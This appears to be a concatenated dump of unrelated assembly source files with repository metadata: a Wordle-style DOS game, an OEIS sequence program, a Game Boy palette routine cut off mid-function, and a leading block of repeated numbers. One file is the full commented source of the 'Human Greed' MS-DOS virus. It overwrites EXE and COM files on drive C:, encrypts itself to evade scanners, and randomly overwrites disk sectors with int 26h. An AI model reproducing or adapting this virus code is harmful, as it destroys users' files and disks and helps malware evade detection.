58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
33.973684
2,999
0.653447
727fb04153fbb7890d09f38ab8570496459aefc5
319
asm
Assembly
programs/oeis/171/A171508.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/171/A171508.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/171/A171508.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A171508: Numbers that are not the sum of the k-th noncomposite number and k for any k >= 1. ; 1,3,5,7,8,10,11,13,14,15,16,18,19,21,22,23,24,26,27,29,30,31,32,34,35,36,37,38,39,41,42,44,45,46,47,48,49,51,52,53,54,56,57,59,60,61,62,64,65,66 seq $0,64427 ; (Number of primes <= n - 1) + n. mov $2,1 mod $2,$0 add $0,$2
39.875
146
0.639498
b36710eb2027faf4c6e1c31f86232ccd1b94bfac
146
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/ツール/tool/sfxdos/dos_icon.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/ツール/tool/sfxdos/dos_icon.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/ツール/tool/sfxdos/dos_icon.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: dos_icon.asm Type: file Size: 36970 Last-Modified: '2016-05-13T04:52:55Z' SHA-1: AEA3BA1B0DF702130FC63D973DB75BE6D7A4123F Description: null
20.857143
47
0.815068
d598fd04f71aa715c012ee1f2e9772a378f6d1af
23,001
asm
Assembly
wordlos.asm
CrociDB/wordlos
68e6eb6fadf96239cc31dbc87453319435d1cd91
[ "MIT" ]
6
2022-03-09T19:33:53.000Z
2022-03-12T20:12:57.000Z
wordlos.asm
CrociDB/wordlos
68e6eb6fadf96239cc31dbc87453319435d1cd91
[ "MIT" ]
null
null
null
wordlos.asm
CrociDB/wordlos
68e6eb6fadf96239cc31dbc87453319435d1cd91
[ "MIT" ]
null
null
null
%define SCORE_POSITION 2620 %define SCORE_VALUE_POSITION 2634 %define KEYBOARD_ROW_POSITION1 2772 + 160 + 160 %define KEYBOARD_ROW_POSITION2 KEYBOARD_ROW_POSITION1 + 322 %define KEYBOARD_ROW_POSITION3 KEYBOARD_ROW_POSITION2 + 326 %define MESSAGE_POSITION 432 %define MESSAGE_COLOR_ERROR 0x04 %define MESSAGE_COLOR_SUCCESS 0x02 %define STATE_COLOR_EMPTY 0x78 %define STATE_COLOR_NOTINWORD 0x87 %define STATE_COLOR_INWORD 0xE7 %define STATE_COLOR_CORRECT 0x2F %define KEYBOARD_COLOR_EMPTY 0x0F %define KEYBOARD_COLOR_NOTINWORD 0x08 %define KEYBOARD_COLOR_INWORD 0x0E %define KEYBOARD_COLOR_CORRECT 0x02 org 0x0100 ; Set 80-25 text mode mov ax, 0x0002 int 0x10 ; disable blinking chars (so we get all 16 background colors) mov ax, 0x1003 mov bx, 0 int 10h mov ax, 0xb800 ; Segment for the video data mov es, ax cld ;;; GAME FLOW start: ; Game title mov ah, 0x0F mov bp, c_title_string mov cx, 72 call print_string start_game: ; 1) reset board mov bp, game_words mov cx, 30 ; 6 words with 5 characters _reset_board: mov byte [bp], ' ' inc bp loop _reset_board ; 2) reset letter status mov bp, game_words_state mov cx, 30 ; 6 words with 5 characters _reset_board_state: mov byte [bp], STATE_COLOR_EMPTY inc bp loop _reset_board_state ; 3) reset state mov al, 0 mov byte [game_state_letter], al mov byte [game_state_word], al ; 4) reset keyboard states mov bp, game_keyboard_state mov cx, 26 _reset_keyboard: mov byte [bp], KEYBOARD_COLOR_EMPTY inc bp loop _reset_keyboard ; 5) randomize a word from the list mov ah, 0x00 ; BIOS service to get system time int 0x1a ; AX contains the value mov bx, word [common_count] ; get the amount of words mov ax, dx ; Copies the time fetched by interruption xor dx, dx ; Resets DX because DIV will use DXAX div bx ; AX = (DXAX) / bx ; DX = remainder mov ax, dx ; moves the current word index to AX mov bx, 5 mul bx add ax, common_word_list mov [game_selected_word], ax ; 6) copy selected word to the temp variable main_loop: call draw_board call draw_keyboard ; clear message mov bp, c_message_empty mov ah, 0x08 mov cx, MESSAGE_POSITION call print_string ; print score mov ah, 0x08 mov bp, c_game_score mov cx, SCORE_POSITION call print_string mov ax, [game_score] mov di, SCORE_VALUE_POSITION mov byte [general_value], 0x0F call print_number ; Setting the cursor to the right position mov cx, [game_state_letter] ; get current state (word:letter) mov al, 4 mul cl add al, 31 mov dl, al ; set current column mov al, 2 mul ch add al, 4 mov dh, al ; set current line mov ah, 02h ;Set cursor position function mov bh, 0 ;Page number int 10h ;Interrupt call check_input: mov ah, 0 ; get keystroke int 0x16 ; bios service to get input cmp al, 0x08 ; 0x08 - backspace je del_letter cmp al, 0x0d ; 0x0d - Enter je confirm_word ; for now, just loop cmp al, 0x1b ; escape key je exit ; Check if it's within the character range and check case ; A-Z: 0x41-0x5A ; a-z: 0x61-0x7A cmp al, 0x41 jl check_input ; less than `A` cmp al, 0x7a jg check_input ; greater than `z` cmp al, 0x61 jge add_letter ; it means it's already in range a-z cmp al, 0x5a jle lower_add_letter ; it's within A-Z, needs lower case jmp check_input lower_add_letter: add al, 0x20 ; makes it lower case add_letter: mov cl, byte [game_state_letter] cmp cl, 5 je main_loop push ax mov ax, [game_state_letter] ; copies the letter and the word mov byte [game_w], ah mov byte [game_l], al xor ax, ax ; resetting AX mov al, 5 ; 5 letter per word mov bl, byte [game_w] ; get current word mul bl ; multiply by the amount of words add al, byte [game_l] ; adding the current letter mov bx, game_words ; getting pointer to word list add ax, bx ; adding pointer to offset mov bp, ax ; setting to bp pop ax mov byte [bp], al mov al, byte [game_l] inc al mov ah, byte [game_w] mov byte [game_state_letter], al mov byte [game_state_word], ah jmp main_loop del_letter: mov al, byte [game_state_letter] cmp al, 0 ; if it's already the first letter, skip je main_loop mov ax, [game_state_letter] mov byte [game_w], ah mov byte [game_l], al xor ax, ax ; resetting AX mov al, 5 ; 5 letter per word mov bl, byte [game_w] ; get current word mul bl ; multiply by the amount of words add al, byte [game_l] ; adding the current letter mov bx, game_words ; getting pointer to word list add ax, bx ; adding pointer to offset dec ax mov bp, ax ; setting to bp mov byte [bp], 0x20 ; setting space, "empty letter" mov al, byte [game_state_letter] dec al ; go back to the previous position mov byte [game_state_letter], al jmp main_loop confirm_word: mov al, byte [game_state_letter] cmp al, 5 ; comparing if it's in the last letter jne check_input ; 1) compare if it's in the word list call check_valid_word cmp ah, 0 ; if ah == 0, then word is valid jne error_not_in_dictionary ; 2) compare with the selected word and set state call update_word_state cmp ah, 1 ; if ah == 1, then player found word je win_word ; 4) check current game status mov al, byte [game_state_word] cmp al, 5 ; comparing if it's in the last word je lost_word ; 3) increment word mov al, byte [game_state_word] inc al mov byte [game_state_word], al mov byte [game_state_letter], 0 jmp main_loop error_not_in_dictionary: mov bp, c_message_invalid mov ah, MESSAGE_COLOR_ERROR call message_state jmp main_loop win_word: call draw_board call draw_keyboard ; add score xor ah, ah mov al, byte [game_state_word] ; get current word level shl ax, 1 add ax, c_score_board mov bx, ax ; get address of current score info mov ax, [game_score] add ax, [bx] mov [game_score], ax ; print score mov di, SCORE_VALUE_POSITION mov byte [general_value], 0x0F call print_number ; show current score message xor ah, ah mov al, byte [game_state_word] ; get current word level mov bx, 24 ; 24 chars/bytes per message mul bx ; multiply the amount of chars by the current level to get right message add ax, c_message_win ; add the address of the messages mov bp, ax mov ah, MESSAGE_COLOR_SUCCESS call message_state jmp start_game lost_word: call draw_board call draw_keyboard mov bp, [game_selected_word] mov ah, MESSAGE_COLOR_SUCCESS mov cx, MESSAGE_POSITION + 36 mov bx, 5 call print_string_fixed mov bp, c_message_lost mov ah, MESSAGE_COLOR_ERROR call message_state jmp start_game exit: int 0x20 ; exit ;;; GAME FUNCTIONS ; ; Message state ; This will show a message, then wait for input ; Params: BP - string addr ; AH - message color ; message_state: ; 1) print message mov cx, MESSAGE_POSITION call print_string ; 2) wait for input mov ah, 0 ; get keystroke int 0x16 ; bios service to get input ret ; ; Draws the keyboard with the current state for every letter ; draw_keyboard: mov ah, 0 mov al, 10 mov bx, KEYBOARD_ROW_POSITION1 call draw_keyboard_row mov ah, 10 mov al, 19 mov bx, KEYBOARD_ROW_POSITION2 call draw_keyboard_row mov ah, 19 mov al, 26 mov bx, KEYBOARD_ROW_POSITION3 call draw_keyboard_row ret ; ; Draws one row of the keyboard ; Params: AH - range start ; AL - range end ; BX - position draw_keyboard_row: mov di, bx ; set the screen position mov cx, ax ; copy range to CX to do the operations sub cl, ch ; CL contains the size of the range xor ch, ch ; now CX should the loop value mov al, ah ; bring the range start AX xor ah, ah mov bp, c_keyboard_rows ; get the address of the string add bp, ax ; add the char offset mov bx, game_keyboard_state ; keyboard state add bx, ax _dkr_print: mov ah, byte [bx] mov al, byte [bp] stosw inc bp inc bx ; add some spaces mov al, ' ' stosw mov al, ' ' stosw loop _dkr_print ret ; Draws the board with the current game state ; go word by word and print the data ; draw_board: mov cx, 6 ; 6 words _print_word: call print_word loop _print_word ret ; ; Print one word ; Params: cx - current word ; print_word: mov bx, cx ; save current word push cx mov cx, 5 ; 5 letters _print_letter: call print_letter loop _print_letter pop cx ret ; ; Prints one letter ; Params: cx - current letter ; bx - current word ; print_letter: mov byte [game_l], cl mov byte [game_w], bl push cx ; draw_box function will change CX and BX, so we keep it push bx ; pointer to the letter in board ; used for both letter data and state push bx xor ax, ax ; resetting AX mov al, 5 ; 5 letter per word mov bl, byte [game_w] ; get current word dec bl ; bl -= 1 mul bl ; multiply by the amount of words add al, byte [game_l] ; adding the current letter dec al ; al -= 1 mov [game_letter_ptr], ax ; saving it to the pointer variable mov bx, game_words_state ; getting pointer to the word/letters state add ax, bx ; adding pointer to offset mov bp, ax ; setting bp to the pointer xor ax, ax ; resetting ax mov ah, byte [bp] ; getting the state data mov byte [game_letter_selected_color], ah pop bx push ax ; pushing the state as a color to the box function push 0x0103 ; box dimensions mov ax, 8 mul cx add ax, 52 push ax mov [game_pos], ax ; saving current column to be used later mov ax, 160 * 2 mul bx add ax, 160 * 2 push ax ; vertical position add ax, [game_pos] ; adding column to line to use later add ax, 2 ; ONE character offset, middle of the box mov [game_pos], ax ; saving current cursor position call draw_box add sp, 8 ; returns the stack pointer, same as pop 4 times ; Print current letter mov ax, [game_letter_ptr] mov bx, game_words ; getting pointer to word list add ax, bx ; adding pointer to offset mov bp, ax ; setting to bp mov ah, byte [game_letter_selected_color] ; setting the current state color mov al, byte [bp] ; copying the character on the table to AL sub al, 0x20 mov di, [game_pos] ; adding the cursor position offset to DI mov [es:di], ax ; setting the current char in AX to video memory pop bx pop cx ret ; ; Check if the input word is in the list of words ; Return: AH - 0 if word is valid ; check_valid_word: mov cx, [word_count] ; copy the amount of words _check_valid_word_init: ; 1) get pointer to the current word xor ax, ax ; resetting AX mov al, 5 ; 5 letter per word mov bl, byte [game_state_word] ; get current word mul bl ; multiply by the amount of words add ax, game_words ; ; adding the offset to the address mov [general_ptr1], ax ; saving it to the pointer variable ; 2) get pointer to current word in list mov ax, 5 ; 5 letter per word mov bx, cx dec bx mul bx ; multiply by the amount of words add ax, word_list ; adding the offset to the address mov [general_ptr2], ax ; saving it to the pointer variable ; 3) in order to compare letter by letter, you must push cx mov cx, 5 ; 5 letters _check_equal_letter: mov ax, [general_ptr1] ; copy address of the first pointer add ax, cx ; adding current letter offset dec ax mov bp, ax xor ax, ax mov al, byte [bp] ; get letter value push ax ; store letter from pointer 1 mov ax, [general_ptr2] ; copy address of the second pointer add ax, cx ; adding current letter offset dec ax mov bp, ax pop ax ; restore previous letter value mov ah, byte [bp] ; get letter value cmp ah, al jne _check_equal_letter_continue loop _check_equal_letter ; loop letters ; ... if it got here, all words are the same, so it's good pop cx mov ah, 0 ret _check_equal_letter_continue: pop cx loop _check_valid_word_init ; loop words ; ... if it got here, there are no similar words mov ah, 1 ret ; ; Check the status letter by letter ; Return: AH: 0 if ok ; 1 if all right ; update_word_state: ; copy the currently selected word to temp variable - we will operate on it push cs pop es mov si, [game_selected_word] lea di, [game_selected_temp_word] mov cx, 5 rep movsb ; get access to the current word mov ax, 5 ; 5 letter per word mov bl, byte [game_state_word] ; get current word mul bl ; multiply by the amount of words add ax, game_words ; adding the offset to the address mov [general_ptr1], ax ; saving it to the pointer variable ; copy currently entered word to temp variabel - we will operate on it mov si, [general_ptr1] lea di, [game_state_temp_word] mov cx, 5 rep movsb mov ax, 0xb800 mov es, ax xor ax, ax mov [general_counter], ax ; get access to the current word's state mov ax, 5 ; 5 letter per word mov bl, byte [game_state_word] ; get current word mul bl ; multiply by the amount of words add ax, game_words_state ; adding the offset to the address mov [general_ptr2], ax ; saving it to the pointer variable ; for every letter: mov cx, 0 ; first we check the greens _green_letter_iteration: mov [general_value], cx ; 1) check if the same index letter is the same, then green mov ax, [general_ptr1] ; pointer to the word add ax, cx ; add letter offset mov bp, ax mov ah, byte [bp] ; copy letter to ah push ax lea ax, [game_selected_temp_word] ; pointer to the word add ax, cx ; add letter offset mov bp, ax pop ax mov al, byte [bp] cmp ah, al ; check if the letters are the same je _update_set_green _update_green_loop: inc cx cmp cx, 5 jne _green_letter_iteration ; secondly we check the yellows mov cx, 0 _yellow_letter_iteration: mov [general_value], cx lea bx, [game_state_temp_word] add bx, [general_value] mov bl, byte [bx] cmp bl, 0 je _update_yellow_loop mov cx, 0 _letter_in_word_iteration: lea ax, [game_selected_temp_word] ; pointer to the entered word add ax, cx ; add letter offset mov bp, ax mov al, byte [bp] cmp bl, al ; check if the letters are the same je _update_set_yellow inc cx cmp cx, 5 jne _letter_in_word_iteration mov ax, [general_ptr2] ; pointer to the word add ax, [general_value] ; add letter offset mov bp, ax mov byte [bp], STATE_COLOR_NOTINWORD ; set letter state mov bx, [general_ptr1] ; pointer to the word add bx, [general_value] ; add letter offset mov ah, byte [bx] ; copy the character mov al, KEYBOARD_COLOR_NOTINWORD call set_letter_state _update_yellow_loop: mov cx, [general_value] inc cx cmp cx, 5 jne _yellow_letter_iteration _return: mov ax, [general_counter] cmp ax, 5 je _return_win mov ah, 0 ret _return_win: mov ah, 1 ret _update_set_yellow: ; set this letter state to yellow mov ax, [general_ptr2] ; pointer to the word add ax, [general_value] ; add letter offset mov bp, ax mov byte [bp], STATE_COLOR_INWORD ; set 'letter in word' state _skip_update_set_yellow: ; remove matched letter from the temp word storage lea bx, [game_selected_temp_word] add bx, cx mov byte [bx], 0 lea bx, [game_state_temp_word] add bx, [general_value] mov byte [bx], 0 ; set letter state mov bx, [general_ptr1] ; pointer to the word add bx, [general_value] ; add letter offset mov ah, byte [bx] ; copy the character mov al, KEYBOARD_COLOR_INWORD call set_letter_state jmp _update_yellow_loop _update_set_green: mov ax, [general_counter] inc ax mov [general_counter], ax ; set this letter state to green mov ax, [general_ptr2] ; pointer to the word add ax, cx ; add letter offset mov bp, ax mov byte [bp], STATE_COLOR_CORRECT ; set 'letter in right position' state ; remove matched letter from the temp word storage lea bx, [game_selected_temp_word] add bx, [general_value] mov byte [bx], 0 lea bx, [game_state_temp_word] add bx, [general_value] mov byte [bx], 0 ; set letter state mov bx, [general_ptr1] ; pointer to the word add bx, [general_value] ; add letter offset mov ah, byte [bx] ; copy the character mov al, KEYBOARD_COLOR_CORRECT push cx call set_letter_state pop cx jmp _update_green_loop ; ; Set Letter State function ; Params: AH - character ; AL - state ; set_letter_state: mov cx, 26 mov bp, c_keyboard_rows + 25 _find_letter_loop: mov bl, byte [bp] add bl, 32 ; making it lower case to test with cmp bl, ah je _set_letter dec bp loop _find_letter_loop ret _set_letter: mov bp, game_keyboard_state add bp, cx dec bp cmp al, KEYBOARD_COLOR_CORRECT je _set_color cmp al, KEYBOARD_COLOR_INWORD je _check_if_not_green_already cmp al, KEYBOARD_COLOR_NOTINWORD je _check_if_empty jmp _set_color _check_if_not_green_already: cmp byte [bp], KEYBOARD_COLOR_CORRECT jne _set_color jmp _set_letter_exit _check_if_empty: cmp byte [bp], KEYBOARD_COLOR_EMPTY je _set_color jmp _set_letter_exit _set_color: mov byte [bp], al _set_letter_exit: ret ;;; BASE LIBRARY %include "lib.asm" ;;; GAME GLOBAL VARIABLES game_selected_word: dw 0 ; pointer to the selected word in the list game_selected_temp_word: times 5 db 0 ; selected word temporal storage game_state_letter: db 0 ; current letter game_state_word: db 0 ; current word game_state_temp_word: times 5 db 0 ; current word temporary storage game_words: db " " db " " db " " db " " db " " db " " game_words_state: times 30 db 0 game_keyboard_state: times 26 db 0 game_score: dw 0 ; global game score game_w: db 0 ; current word used in functions game_l: db 0 ; current letter used in functions game_pos: dw 0 ; current position used in functions game_letter_ptr: dw 0 ; pointer for the ltter in general game_letter_selected_color: db 0 ; ... selected state general_ptr1: dw 0 ; just general pointer general_ptr2: dw 0 ; just general pointer general_value: dw 0 ; just a general-use value general_counter: dw 0 ; just a general-use counter ;;; GAME CONSTANTS c_title_string: db "WORDLOS",0 c_game_score: db "SCORE: ",0 ; 24 chars c_message_win: db "WHAT A SHOT! 100 POINTS",0 db " IMPRESSIVE! 50 POINTS",0 db " INCREDIBLE! 10 POINTS",0 db " PRETTY GOOD! 5 POINTS",0 db " GOOD ENOUGH! 2 POINTS",0 db " NICE! 1 POINT",0 c_message_invalid: db " WORD NOT IN DICTIONARY",0 c_message_lost: db " THE WORD WAS: ",0 c_message_empty: db " ",0 c_keyboard_rows: db "QWERTYUIOPASDFGHJKLZXCVBNM" c_score_board: dw 100 dw 50 dw 10 dw 5 dw 2 dw 1 %include "words.asm"
28.256757
108
0.57041
38199a37cd227ac98b5e852d57478b0bf4b1e06d
7,932
asm
Assembly
MSDOS/Virus.MSDOS.Unknown.humgreed.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
MSDOS/Virus.MSDOS.Unknown.humgreed.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
MSDOS/Virus.MSDOS.Unknown.humgreed.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
; VirusName : Human Greed ; Origin : Sweden ; Author : The Unforgiven ; Date : 20/12/93 ; ; This is a "mutation" of the Infernal Demand virus, written by Metal ; Militia. Even if it's high modified, its ground is still the same. ; This is yet another of this simple overwriting virus, and it's ; nothing really to scream hurray for. This virus will search for ; exe or com files on drive C:, and then overwrite the first 666 ; bytes, and therefor permantely destroy the victims. It used the ; "dot-dot" method for changing directory, and when all files are ; infected (overwritten), it will return to the original directory. ; The code is encrypted, thus making it hard to detect. Scan, ; MSAV, CPAV, FindViru, F-prot and TBScan can't find a shit. ; Yes, Tbscan used to find this as the "Infernal" virus, but he ; with his 90% (nice try!) failed again!, how patetic! ; ; If a infected file is being run, it's 50% that it will display ; this stupid "Program to big to fit in memory" message. Then ; if the message is printed on the screen, it'll throw the dice ; once more. If the number are 10 or lower, it'll simple wipe out ; the first sectors by overwrite them on your C: drive. This means ; that for each run, it's 5% that it'll "go-off". ; The "message dump" to a file under c:\ has also been deleted. ; And the new routines wich are included are, encryption, ; get/and restore directory, the randomizer, print faker, and ; of'cos the trash routine too. Hope you enjoy the code! ;=============================================================================== ; **** HUMAN GREED **** ;=============================================================================== cseg segment byte public assume cs:cseg, ds:cseg org 100h virus_start: call encrypt_decrypt jmp encryption_start write_virus: ; write the virus to the call encrypt_decrypt ; files, by overwriting mov dx,100h ; its beginning mov ah,40h ; mov cx,666 ; How sadistical?? int 21h ; call encrypt_decrypt ; ret encryption_value dw 0 encrypt_decrypt: mov si,offset encryption_start mov dx,encryption_value mov cx,(end_of_virus-encryption_start+1)/2 xor_loop: xor word ptr cs:[si],dx add si,2 call fool_scan_for_TridenT_virus ; must call this meaningless loop xor_loop ; routine, otherwise, infected ret ; files will be reported by fool_scan_for_TridenT_virus: ; SCAN as the "TridenT" virus. ret ; just return. encryption_start: ; get current drive mov ah,19h ; get current drive int 21h ; push ax ; ; move to c: mov ah,0Eh ; mov dl,02h ; drive C: int 21h ; get directory. mov ah,47h xor dl,dl lea si,[bp+infernal+2ch] int 21h great: ; find first files (starting .exe's). mov dx,offset ExeMask ; offset 'EXEMASK' mov ah,4Eh ; find first int 21h ; via int21 jnc go_for_it ; jmp if no ERROR ; if no exe's was found, just infect.COM files. mov dx,offset ComMask ; offset 'COMMASK' mov ah,4Eh ; find first file ; again: ; int 21h ; jc chdir ; go_for_it: mov ax,4300h ; Get attribute of file mov dx,9eh ; Pointer to name in DTA int 21h ; push cx ; Push the attrib to stack mov ax,4301h ; Set attribute to xor cx,cx ; normal int 21h ; mov ax,3D02h ; Open file mov dx,9eh ; Pointer to name in DTA int 21h jc next ; if error, get next file xchg ax,bx ; Swap AX & BX ; so the filehandle ends up ; in BX mov ax,5700h ; Get file date int 21h ; push cx ; Save file dates push dx ; mov encryption_value,50 ; encryption_value. call write_virus ; write to file(s). pop dx ; Get the saved pop cx ; filedates from the stack mov ax,5701h ; Set them back to the file int 21h ; mov ah,3Eh ; Close the file int 21h ; pop cx ; Restore the attribs from ; the stack. mov dx,9eh ; Pointer to name in DTA mov ax,4301h ; Set them attributes back int 21h ; next: mov ah,4Fh ; now get the next file jmp short again ; and do it all over again chdir: ; change directory to [..] and start infect again. mov dx,offset dot_dot ; offset 'updir' mov ah,3bh ; change directory int 21h jnc great ; jmp to great if no ERROR exit: ; Throw the dice.. mov ah,2ch ; int 21h ; cmp dl,50 ja real_quit ; jmp print ; no, quitting time, yet.. print: ; first print message. mov ah,09h ; Print Fake message. mov dx,offset sign ; int 21h ; get_random: ; Throw of a die.. mov ah,2ch ; Randomize. int 21h ; cmp dl,10 ; ja real_quit ; jmp trash ; bad bad boy.. trash: ; Trash routine from Nowhere Man of [NuKE], thanks. cli ; mov ah,2 ; 2=C: cwd ; mov cx,0100h ; int 026h ; JMP REAL_QUIT real_quit: pop dx ; mov ah,0Eh ; restore org. drive int 21h ; ; restore directory lea dx,[bp+infernal+2ch] mov ah,3bh int 21h ; time to quit mov ah,4ch ; return to prompt int 21h ; via int21 ; some data. ExeMask db '*.EXE',0 ; tought one, huh? ComMask db '*.COM',0 ; what is this, hm dot_dot db '..',0 ; '..' Note db 'That is not dead ' db 'Which can eternal lie ' db 'Yet with strange aeons ' db 'Even death may die ' db 'LiVe AfteR DeATH...' db 'Do not waste your time ' db 'Searching For ' db 'those wasted years! ' db '(c) 93/94 The Unforgiven/Immortal Riot ' db 'Thanks to Raver and Metal Militia/IR ' truenote db 'Maria K - Life is limited, love is forever... ' db 'Open to reality, forever in love... ' sign db 'Program too big to fit in memory$' ; fake message! sadistical db ' ***HUMAN GREED*** The answer of all evil on earth! ' db 'Do You Belive? ' db 'Farwell!....' end_of_virus: infernal: cseg ends end virus_start
33.897436
80
0.471004
1c6b1f48273a142700f8a24feea62985163cf15f
4,345
asm
Assembly
home/palettes.asm
AtmaBuster/pokeplat-gen2
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
[ "blessing" ]
6
2021-06-19T06:41:19.000Z
2022-02-15T17:12:33.000Z
home/palettes.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
null
null
null
home/palettes.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
3
2021-01-15T18:45:40.000Z
2021-10-16T03:35:27.000Z
; Functions dealing with palettes. UpdatePalsIfCGB:: ; update bgp data from wBGPals2 ; update obp data from wOBPals2 ; return carry if successful ; check cgb ldh a, [hCGB] and a ret z UpdateCGBPals:: ; return carry if successful ; any pals to update? ldh a, [hCGBPalUpdate] and a ret z ForceUpdateCGBPals:: ldh a, [rSVBK] push af ld a, BANK(wBGPals2) ldh [rSVBK], a ld hl, wBGPals2 ; copy 8 pals to bgpd ld a, 1 << rBGPI_AUTO_INCREMENT ldh [rBGPI], a ld c, LOW(rBGPD) ld b, 8 / 2 .bgp rept (1 palettes) * 2 ld a, [hli] ldh [c], a endr dec b jr nz, .bgp ; hl is now wOBPals2 ; copy 8 pals to obpd ld a, 1 << rOBPI_AUTO_INCREMENT ldh [rOBPI], a ld c, LOW(rOBPD) ld b, 8 / 2 .obp rept (1 palettes) * 2 ld a, [hli] ldh [c], a endr dec b jr nz, .obp pop af ldh [rSVBK], a ; clear pal update queue xor a ldh [hCGBPalUpdate], a scf ret DmgToCgbBGPals:: ; exists to forego reinserting cgb-converted image data ; input: a -> bgp ldh [rBGP], a push af ; Don't need to be here if DMG ldh a, [hCGB] and a jr z, .end push hl push de push bc ldh a, [rSVBK] push af ld a, BANK(wBGPals2) ldh [rSVBK], a ; copy & reorder bg pal buffer ld hl, wBGPals2 ; to ld de, wBGPals1 ; from ; order ldh a, [rBGP] ld b, a ; all pals ld c, 8 call CopyPals ; request pal update ld a, 1 ldh [hCGBPalUpdate], a pop af ldh [rSVBK], a pop bc pop de pop hl .end pop af ret DmgToCgbObjPals:: ; exists to forego reinserting cgb-converted image data ; input: d -> obp1 ; e -> obp2 ld a, e ldh [rOBP0], a ld a, d ldh [rOBP1], a ldh a, [hCGB] and a ret z push hl push de push bc ldh a, [rSVBK] push af ld a, BANK(wOBPals2) ldh [rSVBK], a ; copy & reorder obj pal buffer ld hl, wOBPals2 ; to ld de, wOBPals1 ; from ; order ldh a, [rOBP0] ld b, a ; all pals ld c, 8 call CopyPals ; request pal update ld a, 1 ldh [hCGBPalUpdate], a pop af ldh [rSVBK], a pop bc pop de pop hl ret DmgToCgbObjPal0:: ldh [rOBP0], a push af ; Don't need to be here if not CGB ldh a, [hCGB] and a jr z, .dmg push hl push de push bc ldh 